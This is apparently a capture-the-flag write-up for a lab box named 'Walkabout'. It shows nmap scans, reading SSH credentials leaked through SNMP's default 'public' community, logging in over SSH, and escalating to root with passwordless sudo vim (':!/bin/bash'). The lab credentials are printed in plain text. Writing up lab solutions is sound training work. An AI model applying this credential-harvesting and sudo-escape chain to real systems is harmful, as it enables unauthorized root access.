Walkabout
✓ SOLVEDSNMP credential disclosure → SSH access → passwordless sudo Vim → root shell.
0
Overview
SNMP credential disclosure → SSH access → passwordless sudo Vim → root shell.
User Flag✓
Root Flag✓
StatusSolved
1
Reconnaissance
SSH was exposed on TCP 30503 and SNMP on UDP 30504. After the lab restarted, the target changed from 45.79.210.74 to 45.79.210.48.
Scan
sudo nmap -sU -sV -p 30504 --reason 45.79.210.48
nmap -sV -p 30503 45.79.210.482
SNMP Credential Leak
The default SNMPv2c community public was readable. A Net-SNMP extension exposed /usr/local/bin/snmp-creds.sh and working SSH credentials.
Extension output
ssh_user=labuser
ssh_pass=Snmp2SSH!3
SSH Foothold
SSH
ssh -p 30503 labuser@45.79.210.48
cat user.txtUSER FLAG
flag{[REDACTED]}4
Privilege Escalation — Vim
sudo -l allowed passwordless /usr/bin/vim. Vim's command mode was used to spawn Bash as root.
Root shell
sudo /usr/bin/vim
:!/bin/bash
whoami5
Root Flag
Proof
cat /root/root.txt
flag{[REDACTED]}✓
Attack Path
Both challenge flag values are intentionally redacted in the public writeup and screenshots.
Nmap→SNMP public→Credential leak→SSH→sudo Vim→Root